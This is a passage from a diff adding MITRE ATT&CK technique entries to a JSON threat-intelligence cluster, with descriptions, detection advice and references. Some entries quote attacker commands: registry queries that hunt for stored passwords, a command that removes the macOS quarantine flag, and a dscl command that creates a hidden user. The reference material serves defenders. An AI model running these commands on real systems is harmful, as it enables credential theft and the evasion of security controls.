"uuid": "b17a1a56-e99c-403c-8948-561df0cffe81" + }, + { + "description": "Adversaries may try to get information about registered services. Commands that may obtain information about services using operating system utilities are \"sc,\" \"tasklist /svc\" using Tasklist, and \"net start\" using Net, but adversaries may also use other tools as well.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system information related to services. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows\n\nData Sources: Process command-line parameters, Process monitoring\n\nPermissions Required: User, Administrator, SYSTEM", + "value": "System Service Discovery - T1007", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1007" + ], + "external_id": "T1007", + "kill_chain": [ + "mitre-attack:enterprise-attack:discovery" + ], + "mitre_data_sources": [ + "Process command-line parameters", + "Process monitoring" + ], + "mitre_platforms": [ + "Windows" + ] + }, + "uuid": "322bad5a-1c49-4d23-ab79-76d641794afa" + }, + { + "description": "Supply chain compromise is the manipulation of products or product delivery mechanisms prior to receipt by a final consumer for the purpose of data or system compromise. Supply chain compromise can take place at any stage of the supply chain including:\n* Manipulation of development tools\n* Manipulation of a development environment\n* Manipulation of source code repositories (public or private)\n* Manipulation of software update/distribution mechanisms\n* Compromised/infected system images (multiple cases of removable media infected at the factory)\n* Replacement of legitimate software with modified versions\n* Sales of modified/counterfeit products to legitimate distributors\n* Shipment interdiction\n\nWhile supply chain compromise can impact any component of hardware or software, attackers looking to gain execution have often focused on malicious additions to legitimate software in software distribution or update channels. (Citation: Avast CCleaner3 2018) (Citation: Microsoft Dofoil 2018) (Citation: Command Five SK 2011) Targeting may be specific to a desired victim set (Citation: Symantec Elderwood Sept 2012) or malicious software may be distributed to a broad set of consumers but only move on to additional tactics on specific victims. (Citation: Avast CCleaner3 2018) (Citation: Command Five SK 2011)\n\nDetection: Use verification of distributed binaries through hash checking or other integrity checking mechanisms. Scan downloads for malicious signatures and attempt to test software and updates prior to deployment while taking note of potential suspicious activity. Perform physical inspection of hardware to look for potential tampering.\n\nPlatforms: Linux, Windows, macOS\n\nData Sources: Web proxy, File monitoring", + "value": "Supply Chain Compromise - T1195", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1195", + "https://blog.avast.com/new-investigations-in-ccleaner-incident-point-to-a-possible-third-stage-that-had-keylogger-capacities", + "https://cloudblogs.microsoft.com/microsoftsecure/2018/03/07/behavior-monitoring-combined-with-machine-learning-spoils-a-massive-dofoil-coin-mining-campaign/", + "https://www.commandfive.com/papers/C5%20APT%20SKHack.pdf", + "http://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/the-elderwood-project.pdf" + ], + "external_id": "T1195", + "kill_chain": [ + "mitre-attack:enterprise-attack:initial-access" + ], + "mitre_data_sources": [ + "Web proxy", + "File monitoring" + ], + "mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ] + }, + "uuid": "3f18edba-28f4-4bb9-82c3-8aa60dcac5f7" + }, + { + "description": "Every user account in macOS has a userID associated with it. When creating a user, you can specify the userID for that account. There is a property value in /Library/Preferences/com.apple.loginwindow called Hide500Users that prevents users with userIDs 500 and lower from appearing at the login screen. By using the Create Account technique with a userID under 500 and enabling this property (setting it to Yes), an adversary can hide their user accounts much more easily: sudo dscl . -create /Users/username UniqueID 401 (Citation: Cybereason OSX Pirrit).\n\nDetection: This technique prevents the new user from showing up at the log in screen, but all of the other signs of a new user still exist. The user still gets a home directory and will appear in the authentication logs.\n\nPlatforms: macOS\n\nData Sources: Authentication logs, File monitoring\n\nPermissions Required: Administrator, root", + "value": "Hidden Users - T1147", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1147", + "https://www2.cybereason.com/research-osx-pirrit-mac-os-x-secuirty" + ], + "external_id": "T1147", + "kill_chain": [ + "mitre-attack:enterprise-attack:defense-evasion" + ], + "mitre_data_sources": [ + "Authentication logs", + "File monitoring" + ], + "mitre_platforms": [ + "macOS" + ] + }, + "uuid": "ce73ea43-8e77-47ba-9c11-5e9c9c58b9ff" + }, + { + "description": "===Windows===\n\nAdversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using Credential Dumping. The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs.\n\n===Mac===\n\nOn Mac, the currently logged in user can be identified with users,w, and who.\n\n===Linux===\n\nOn Linux, the currently logged in user can be identified with w and who.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: File monitoring, Process monitoring, Process command-line parameters\n\nPermissions Required: User, Administrator", + "value": "System Owner/User Discovery - T1033", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1033" + ], + "external_id": "T1033", + "kill_chain": [ + "mitre-attack:enterprise-attack:discovery" + ], + "mitre_data_sources": [ + "File monitoring", + "Process monitoring", + "Process command-line parameters" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ] + }, + "uuid": "03d7999c-1f4c-42cc-8373-e7690d318104" + }, + { + "description": "Some adversaries may split communications between different protocols. There could be one protocol for inbound command and control and another for outbound data, allowing it to bypass certain firewall restrictions. The split could also be random to simply avoid data threshold alerts on any one communication.\n\nDetection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2) Correlating alerts between multiple communication channels can further help identify command-and-control behavior.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Packet capture, Netflow/Enclave netflow, Process use of network, Malware reverse engineering, Process monitoring\n\nRequires Network: Yes", + "value": "Multiband Communication - T1026", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1026", + "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + ], + "external_id": "T1026", + "kill_chain": [ + "mitre-attack:enterprise-attack:command-and-control" + ], + "mitre_data_sources": [ + "Packet capture", + "Netflow/Enclave netflow", + "Process use of network", + "Malware reverse engineering", + "Process monitoring" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ] + }, + "uuid": "99709758-2b96-48f2-a68a-ad7fbd828091" + }, + { + "description": "Pass the ticket (PtT) is a method of authenticating to a system using Kerberos tickets without having access to an account's password. Kerberos authentication can be used as the first step to lateral movement to a remote system.\n\nIn this technique, valid Kerberos tickets for Valid Accounts are captured by Credential Dumping. A user's service tickets or ticket granting ticket (TGT) may be obtained, depending on the level of access. A service ticket allows for access to a particular resource, whereas a TGT can be used to request service tickets from the Ticket Granting Service (TGS) to access any resource the user has privileges to access. (Citation: ADSecurity AD Kerberos Attacks) (Citation: GentilKiwi Pass the Ticket)\n\nSilver Tickets can be obtained for services that use Kerberos as an authentication mechanism and are used to generate tickets to access that particular resource and the system that hosts the resource (e.g., SharePoint). (Citation: ADSecurity AD Kerberos Attacks)\n\nGolden Tickets can be obtained for the domain using the Key Distribution Service account KRBTGT account NTLM hash, which enables generation of TGTs for any account in Active Directory. (Citation: Campbell 2014)\n\nDetection: Audit all Kerberos authentication and credential use events and review for discrepancies. Unusual remote authentication events that correlate with other suspicious activity (such as writing and executing binaries) may indicate malicious activity.\n\nEvent ID 4769 is generated on the Domain Controller when using a golden ticket after the KRBTGT password has been reset twice, as mentioned in the mitigation section. The status code 0x1F indicates the action has failed due to \"Integrity check on decrypted field failed\" and indicates misuse by a previously invalidated golden ticket. (Citation: CERT-EU Golden Ticket Protection)\n\nPlatforms: Windows\n\nData Sources: Authentication logs\n\nSystem Requirements: Requires Microsoft Windows as a target system and Kerberos authentication enabled.\n\nContributors: Ryan Becwar, Vincent Le Toux", + "value": "Pass the Ticket - T1097", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1097", + "https://adsecurity.org/?p=556", + "http://defcon.org/images/defcon-22/dc-22-presentations/Campbell/DEFCON-22-Christopher-Campbell-The-Secret-Life-of-Krbtgt.pdf", + "http://blog.gentilkiwi.com/securite/mimikatz/pass-the-ticket-kerberos" + ], + "external_id": "T1097", + "kill_chain": [ + "mitre-attack:enterprise-attack:lateral-movement" + ], + "mitre_data_sources": [ + "Authentication logs" + ], + "mitre_platforms": [ + "Windows" + ] + }, + "uuid": "a257ed11-ff3b-4216-8c9d-3938ef57064c" + }, + { + "description": "Windows Remote Management (WinRM) is the name of both a Windows service and a protocol that allows a user to interact with a remote system (e.g., run an executable, modify the Registry, modify services). (Citation: Microsoft WinRM) It may be called with the winrm command or by any number of programs such as PowerShell. (Citation: Jacobsen 2014)\n\nDetection: Monitor use of WinRM within an environment by tracking service execution. If it is not normally used or is disabled, then this may be an indicator of suspicious behavior. Monitor processes created and actions taken by the WinRM process or a WinRM invoked script to correlate it with other related events.\n\nPlatforms: Windows\n\nData Sources: File monitoring, Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring\n\nPermissions Required: User, Administrator\n\nSystem Requirements: WinRM listener turned on and configured on remote system\n\nRemote Support: Yes", + "value": "Windows Remote Management - T1028", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1028", + "http://msdn.microsoft.com/en-us/library/aa384426", + "https://www.slideshare.net/kieranjacobsen/lateral-movement-with-power-shell-2" + ], + "external_id": "T1028", + "kill_chain": [ + "mitre-attack:enterprise-attack:execution", + "mitre-attack:enterprise-attack:lateral-movement" + ], + "mitre_data_sources": [ + "File monitoring", + "Authentication logs", + "Netflow/Enclave netflow", + "Process command-line parameters", + "Process monitoring" + ], + "mitre_platforms": [ + "Windows" + ] + }, + "uuid": "c3bce4f4-9795-46c6-976e-8676300bbc39" + }, + { + "description": "Per Apple\u2019s developer documentation, when macOS and OS X boot up, launchd is run to finish system initialization. This process loads the parameters for each launch-on-demand system-level daemon from the property list (plist) files found in /System/Library/LaunchDaemons and /Library/LaunchDaemons (Citation: AppleDocs Launch Agent Daemons). These LaunchDaemons have property list files which point to the executables that will be launched (Citation: Methods of Mac Malware Persistence).\n \nAdversaries may install a new launch daemon that can be configured to execute at startup by using launchd or launchctl to load a plist into the appropriate directories (Citation: OSX Malware Detection). The daemon name may be disguised by using a name from a related operating system or benign software (Citation: WireLurker). Launch Daemons may be created with administrator privileges, but are executed under root privileges, so an adversary may also use a service to escalate privileges from administrator to root.\n \nThe plist file permissions must be root:wheel, but the script or program that it points to has no such requirement. So, it is possible for poor configurations to allow an adversary to modify a current Launch Daemon\u2019s executable and gain persistence or Privilege Escalation.\n\nDetection: Monitor Launch Daemon creation through additional plist files and utilities such as Objective-See's Knock Knock application.\n\nPlatforms: macOS\n\nData Sources: Process Monitoring, File monitoring\n\nEffective Permissions: root\n\nPermissions Required: Administrator", + "value": "Launch Daemon - T1160", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1160", + "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html", + "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf", + "https://www.synack.com/wp-content/uploads/2016/03/RSA%20OSX%20Malware.pdf", + "https://www.paloaltonetworks.com/content/dam/pan/en%20US/assets/pdf/reports/Unit%2042/unit42-wirelurker.pdf" + ], + "external_id": "T1160", + "kill_chain": [ + "mitre-attack:enterprise-attack:persistence", + "mitre-attack:enterprise-attack:privilege-escalation" + ], + "mitre_data_sources": [ + "Process Monitoring", + "File monitoring" + ], + "mitre_platforms": [ + "macOS" + ] + }, + "uuid": "e99ec083-abdd-48de-ad87-4dbf6f8ba2a4" + }, + { + "description": "Keychains are the built-in way for macOS to keep track of users' passwords and credentials for many services and features such as WiFi passwords, websites, secure notes, certificates, and Kerberos. Keychain files are located in ~/Library/Keychains/,/Library/Keychains/, and /Network/Library/Keychains/. (Citation: Wikipedia keychain) The security command-line utility, which is built into macOS by default, provides a useful way to manage these credentials.\n\nTo manage their credentials, users have to use additional credentials to access their keychain. If an adversary knows the credentials for the login keychain, then they can get access to all the other credentials stored in this vault. (Citation: External to DA, the OS X Way) By default, the passphrase for the keychain is the user\u2019s logon credentials.\n\nDetection: Unlocking the keychain and using passwords from it is a very common process, so there is likely to be a lot of noise in any detection technique. Monitoring of system calls to the keychain can help determine if there is a suspicious process trying to access it.\n\nPlatforms: macOS\n\nData Sources: System calls, Process Monitoring\n\nPermissions Required: Administrator", + "value": "Keychain - T1142", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1142", + "https://en.wikipedia.org/wiki/Keychain%20(software)", + "http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way" + ], + "external_id": "T1142", + "kill_chain": [ + "mitre-attack:enterprise-attack:credential-access" + ], + "mitre_data_sources": [ + "System calls", + "Process Monitoring" + ], + "mitre_platforms": [ + "macOS" + ] + }, + "uuid": "9e09ddb2-1746-4448-9cad-7f8b41777d6d" + }, + { + "description": "An adversary can leverage a computer's peripheral devices (e.g., microphones and webcams) or applications (e.g., voice and video call services) to capture audio recordings for the purpose of listening into sensitive conversations to gather information.\n\nMalware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture audio. Audio files may be written to disk and exfiltrated later.\n\nDetection: Detection of this technique may be difficult due to the various APIs that may be used. Telemetry data regarding API use may not be useful depending on how a system is normally used, but may provide context to other potentially malicious activity occurring on a system.\n\nBehavior that could indicate technique use include an unknown or unusual process accessing APIs associated with devices or software that interact with the microphone, recording devices, or recording software, and a process periodically writing files to disk that contain audio data.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: API monitoring, Process monitoring, File monitoring\n\nPermissions Required: User", + "value": "Audio Capture - T1123", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1123" + ], + "external_id": "T1123", + "kill_chain": [ + "mitre-attack:enterprise-attack:collection" + ], + "mitre_data_sources": [ + "API monitoring", + "Process monitoring", + "File monitoring" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ] + }, + "uuid": "1035cdf2-3e5f-446f-a7a7-e8f6d7925967" + }, + { + "description": "Adversaries may use a custom cryptographic protocol or algorithm to hide command and control traffic. A simple scheme, such as XOR-ing the plaintext with a fixed key, will produce a very weak ciphertext.\n\nCustom encryption schemes may vary in sophistication. Analysis and reverse engineering of malware samples may be enough to discover the algorithm and encryption key used.\n\nSome adversaries may also attempt to implement their own version of a well-known cryptographic algorithm instead of using a known implementation library, which may lead to unintentional errors. (Citation: F-Secure Cosmicduke)\n\nDetection: If malware uses custom encryption with symmetric keys, it may be possible to obtain the algorithm and key from samples and use them to decode network traffic to detect malware communications signatures. (Citation: Fidelis DarkComet)\n\nIn general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect when communications do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Packet capture, Netflow/Enclave netflow, Process use of network, Malware reverse engineering, Process monitoring\n\nRequires Network: Yes", + "value": "Custom Cryptographic Protocol - T1024", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1024", + "https://www.f-secure.com/documents/996508/1030745/cosmicduke%20whitepaper.pdf", + "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf", + "https://www.fidelissecurity.com/sites/default/files/FTA%201018%20looking%20at%20the%20sky%20for%20a%20dark%20comet.pdf" + ], + "external_id": "T1024", + "kill_chain": [ + "mitre-attack:enterprise-attack:command-and-control" + ], + "mitre_data_sources": [ + "Packet capture", + "Netflow/Enclave netflow", + "Process use of network", + "Malware reverse engineering", + "Process monitoring" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ] + }, + "uuid": "3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d" + }, + { + "description": "Cause a binary or script to execute based on interacting with the file through a graphical user interface (GUI) or in an interactive remote session such as Remote Desktop Protocol.\n\nDetection: Detection of execution through the GUI will likely lead to significant false positives. Other factors should be considered to detect misuse of services that can lead to adversaries gaining access to systems through interactive remote sessions. \n\nUnknown or unusual process launches outside of normal behavior on a particular system occurring through remote interactive sessions are suspicious. Collect and audit security logs that may indicate access to and use of Legitimate Credentials to access remote systems within the network.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: File monitoring, Binary file metadata, Process command-line parameters, Process monitoring\n\nPermissions Required: User, Administrator, SYSTEM\n\nRemote Support: Yes", + "value": "Graphical User Interface - T1061", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1061" + ], + "external_id": "T1061", + "kill_chain": [ + "mitre-attack:enterprise-attack:execution" + ], + "mitre_data_sources": [ + "File monitoring", + "Binary file metadata", + "Process command-line parameters", + "Process monitoring" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ] + }, + "uuid": "a6525aec-acc4-47fe-92f9-b9b4de4b9228" + }, + { + "description": "DCShadow is a method of manipulating Active Directory (AD) data, including objects and schemas, by registering (or reusing an inactive registration) and simulating the behavior of a Domain Controller (DC). (Citation: DCShadow Blog) (Citation: BlueHat DCShadow Jan 2018) Once registered, a rogue DC may be able to inject and replicate changes into AD infrastructure for any domain object, including credentials and keys.\n\nRegistering a rogue DC involves creating a new server and nTDSDSA objects in the Configuration partition of the AD schema, which requires Administrator privileges (either Domain or local to the DC) or the KRBTGT hash. (Citation: Adsecurity Mimikatz Guide)\n\nThis technique may bypass system logging and security monitors such as security information and event management (SIEM) products (since actions taken on a rogue DC may not be reported to these sensors). (Citation: DCShadow Blog) The technique may also be used to alter and delete replication and other associated metadata to obstruct forensic analysis. Adversaries may also utilize this technique to perform SID-History Injection and/or manipulate AD objects (such as accounts, access control lists, schemas) to establish backdoors for Persistence. (Citation: DCShadow Blog) (Citation: BlueHat DCShadow Jan 2018)\n\nDetection: Monitor and analyze network traffic associated with data replication (such as calls to DrsAddEntry, DrsReplicaAdd, and especially GetNCChanges) between DCs as well as to/from non DC hosts. (Citation: GitHub DCSYNCMonitor) (Citation: DCShadow Blog) (Citation: BlueHat DCShadow Jan 2018) DC replication will naturally take place every 15 minutes but can be triggered by an attacker or by legitimate urgent changes (ex: passwords). (Citation: BlueHat DCShadow Jan 2018) Also consider monitoring and alerting on the replication of AD objects (Audit Detailed Directory Service Replication Events 4928 and 4929). (Citation: DCShadow Blog)\n\nLeverage AD directory synchronization (DirSync) to monitor changes to directory state using AD replication cookies. (Citation: Microsoft DirSync) (Citation: ADDSecurity DCShadow Feb 2018)\n\nBaseline and periodically analyze the Configuration partition of the AD schema and alert on creation of nTDSDSA objects. (Citation: BlueHat DCShadow Jan 2018)\n\nInvestigate usage of Kerberos Service Principal Names (SPNs), especially those associated with services (beginning with \u201cGC/\u201d) by computers not present in the DC organizational unit (OU). The SPN associated with the Directory Replication Service (DRS) Remote Protocol interface (GUID E3514235\u20134B06\u201311D1-AB04\u201300C04FC2DCD2) can be set without logging. (Citation: ADDSecurity DCShadow Feb 2018) A rogue DC must authenticate as a service using these two SPNs for the replication process to successfully complete.\n\nPlatforms: Windows\n\nData Sources: API monitoring, Authentication logs, Network protocol analysis, Packet capture\n\nDefense Bypassed: Log analysis\n\nPermissions Required: Administrator\n\nContributors: Vincent Le Toux", + "value": "DCShadow - T1207", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1207", + "https://www.dcshadow.com/", + "https://adsecurity.org/?page%20id=1821", + "https://github.com/shellster/DCSYNCMonitor", + "https://msdn.microsoft.com/en-us/library/ms677626.aspx", + "https://adds-security.blogspot.fr/2018/02/detecter-dcshadow-impossible.html" + ], + "external_id": "T1207", + "kill_chain": [ + "mitre-attack:enterprise-attack:defense-evasion" + ], + "mitre_data_sources": [ + "API monitoring", + "Authentication logs", + "Network protocol analysis", + "Packet capture" + ], + "mitre_platforms": [ + "Windows" + ] + }, + "uuid": "564998d8-ab3e-4123-93fb-eccaa6b9714a" + }, + { + "description": "In macOS and OS X, when applications or programs are downloaded from the internet, there is a special attribute set on the file called com.apple.quarantine. This attribute is read by Apple's Gatekeeper defense program at execution time and provides a prompt to the user to allow or deny execution. \n\nApps loaded onto the system from USB flash drive, optical disk, external hard drive, or even from a drive shared over the local network won\u2019t set this flag. Additionally, other utilities or events like drive-by downloads don\u2019t necessarily set it either. This completely bypasses the built-in Gatekeeper check. (Citation: Methods of Mac Malware Persistence) The presence of the quarantine flag can be checked by the xattr command xattr /path/to/MyApp.app for com.apple.quarantine. Similarly, given sudo access or elevated permission, this attribute can be removed with xattr as well, sudo xattr -r -d com.apple.quarantine /path/to/MyApp.app. (Citation: Clearing quarantine attribute) (Citation: OceanLotus for OS X)\n \nIn typical operation, a file will be downloaded from the internet and given a quarantine flag before being saved to disk. When the user tries to open the file or application, macOS\u2019s gatekeeper will step in and check for the presence of this flag. If it exists, then macOS will then prompt the user to confirmation that they want to run the program and will even provide the URL where the application came from. However, this is all based on the file being downloaded from a quarantine-savvy application. (Citation: Bypassing Gatekeeper)\n\nDetection: Monitoring for the removal of the com.apple.quarantine flag by a user instead of the operating system is a suspicious action and should be examined further.\n\nPlatforms: macOS\n\nDefense Bypassed: Application whitelisting, Anti-virus\n\nPermissions Required: User, Administrator", + "value": "Gatekeeper Bypass - T1144", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1144", + "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf", + "https://derflounder.wordpress.com/2012/11/20/clearing-the-quarantine-extended-attribute-from-downloaded-applications/", + "https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update", + "https://blog.malwarebytes.com/cybercrime/2015/10/bypassing-apples-gatekeeper/" + ], + "external_id": "T1144", + "kill_chain": [ + "mitre-attack:enterprise-attack:defense-evasion" + ], + "mitre_platforms": [ + "macOS" + ] + }, + "uuid": "6fb6408c-0db3-41d9-a3a1-a32e5f16454e" + }, + { + "description": "The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.\n\nExample commands to find Registry keys related to password information: (Citation: Pentestlab Stored Credentials)\n*Local Machine Hive: reg query HKLM /f password /t REG_SZ /s\n*Current User Hive: reg query HKCU /f password /t REG_SZ /s\n\nDetection: Monitor processes for applications that can be used to query the Registry, such as Reg, and collect command parameters that may indicate credentials are being searched. Correlate activity with related suspicious behavior that may indicate an active intrusion to reduce false positives.\n\nPlatforms: Windows\n\nData Sources: Windows Registry, Process command-line parameters, Process Monitoring\n\nPermissions Required: User, Administrator\n\nSystem Requirements: Ability to query some Registry locations depends on the adversary's level of access. User permissions are usually limited to access of user-related Registry keys.\n\nContributors: Sudhanshu Chauhan, @Sudhanshu_C", + "value": "Credentials in Registry - T1214", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1214", + "https://pentestlab.blog/2017/04/19/stored-credentials/" + ], + "external_id": "T1214", + "kill_chain": [ + "mitre-attack:enterprise-attack:credential-access" + ], + "mitre_data_sources": [ + "Windows Registry", + "Process command-line parameters", + "Process Monitoring" + ], + "mitre_platforms": [ + "Windows" + ] + }, + "uuid": "2edd9d6a-5674-4326-a600-ba56de467286" + }, + { + "description": "Adversaries may use fallback or alternate communication channels if the primary channel is compromised or inaccessible in order to maintain reliable command and control and to avoid data transfer thresholds.\n\nDetection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Packet capture, Netflow/Enclave netflow, Malware reverse engineering, Process use of network, Process monitoring\n\nRequires Network: Yes", + "value": "Fallback Channels - T1008", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1008", + "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + ], + "external_id": "T1008", + "kill_chain": [ + "mitre-attack:enterprise-attack:command-and-control" + ], + "mitre_data_sources": [ + "Packet capture", + "Netflow/Enclave netflow", + "Malware reverse engineering", + "Process use of network", + "Process monitoring" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ] + }, + "uuid": "f24faf46-3b26-4dbb-98f2-63460498e433" + }, + { + "description": "Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform Privilege Escalation to include use of software exploitation to circumvent those restrictions.\n\nWhen initially gaining access to a system, an adversary may be operating within a lower privileged process which will prevent them from accessing certain resources on the system. Vulnerabilities may exist, usually in operating system components and software commonly running at higher permissions, that can be exploited to gain higher levels of access on the system. This could enable someone to move from unprivileged or user level permissions to SYSTEM or root permissions depending on the component that is vulnerable. This may be a necessary step for an adversary compromising a endpoint system that has been properly configured and limits other privilege escalation methods.\n\nDetection: Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of the processes. This could include suspicious files written to disk, evidence of Process Injection for attempts to hide execution or evidence of Discovery.\n\nHigher privileges are often necessary to perform additional actions such as some methods of Credential Dumping. Look for additional activity that may indicate an adversary has gained higher privileges.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Windows Error Reporting, Process monitoring, Application Logs\n\nEffective Permissions: User\n\nPermissions Required: User\n\nSystem Requirements: In the case of privilege escalation, the adversary likely already has user permissions on the target system.", + "value": "Exploitation for Privilege Escalation - T1068", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1068" + ], + "external_id": "T1068", + "kill_chain": [ + "mitre-attack:enterprise-attack:privilege-escalation" + ], + "mitre_data_sources": [ + "Windows Error Reporting", + "Process monitoring", + "Application Logs" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ] + }, + "uuid": "b21c3b2d-02e6-45b1-980b-e69051040839" + }, + { + "description": "To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a \u2018hidden\u2019 file. These files don\u2019t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches (dir /a for Windows and ls \u2013a for Linux and macOS).\n\n===Windows===\n\nUsers can mark specific files as hidden by using the attrib.exe binary. Simply do attrib +h filename to mark a file or folder as hidden. Similarly, the \u201c+s\u201d marks a file as a system file and the \u201c+r\u201d flag marks the file as read only. Like most windows binaries, the attrib.exe binary provides the ability to apply these changes recursively \u201c/S\u201d.\n\n===Linux/Mac===\n\nUsers can mark specific files as hidden simply by putting a \u201c.\u201d as the first character in the file or folder name (Citation: Sofacy Komplex Trojan) (Citation: Antiquated Mac Malware). Files and folder that start with a period, \u2018.\u2019, are by default hidden from being viewed in the Finder application and standard command-line utilities like \u201cls\u201d. Users must specifically change settings to have these files viewable. For command line usages, there is typically a flag to see all files (including hidden ones). To view these files in the Finder Application, the following command must be executed: defaults write com.apple.finder AppleShowAllFiles YES, and then relaunch the Finder Application.\n\n===Mac===\n\nFiles on macOS can be marked with the UF_HIDDEN flag which prevents them from being seen in Finder.app, but still allows them to be seen in Terminal.app (Citation: WireLurker).\nMany applications create these hidden files and folders to store information so that it doesn\u2019t clutter up the user\u2019s workspace. For example, SSH utilities create a .ssh folder that\u2019s hidden and contains the user\u2019s known hosts and keys. \n\nAdversaries can use this to their advantage to hide files and folders anywhere on the system for persistence and evading a typical user or system analysis that does not incorporate investigation of hidden files.\n\nDetection: Monitor the file system and shell commands for files being created with a leading \".\" and the Windows command-line use of attrib.exe to add the hidden attribute.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: File monitoring, Process Monitoring, Process command-line parameters\n\nDefense Bypassed: Host forensic analysis\n\nPermissions Required: User", + "value": "Hidden Files and Directories - T1158", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1158", + "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/", + "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/", + "https://www.paloaltonetworks.com/content/dam/pan/en%20US/assets/pdf/reports/Unit%2042/unit42-wirelurker.pdf" + ], + "external_id": "T1158", + "kill_chain": [ + "mitre-attack:enterprise-attack:defense-evasion", + "mitre-attack:enterprise-attack:persistence" + ], + "mitre_data_sources": [ + "File monitoring", + "Process Monitoring", + "Process command-line parameters" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ] + }, + "uuid": "dc27c2ec-c5f9-4228-ba57-d67b590bda93" + }, + { + "description": "Some security tools inspect files with static signatures to determine if they are known malicious. Adversaries may add data to files to increase the size beyond what security tools are capable of handling or to change the file hash to avoid hash-based blacklists.\n\nDetection: Depending on the method used to pad files, a file-based signature may be capable of detecting padding using a scanning or on-access based tool. \n\nWhen executed, the resulting process from padded files may also exhibit other behavior characteristics of being used to conduct an intrusion such as system and network information Discovery or Lateral Movement, which could be used as event indicators that point to the source 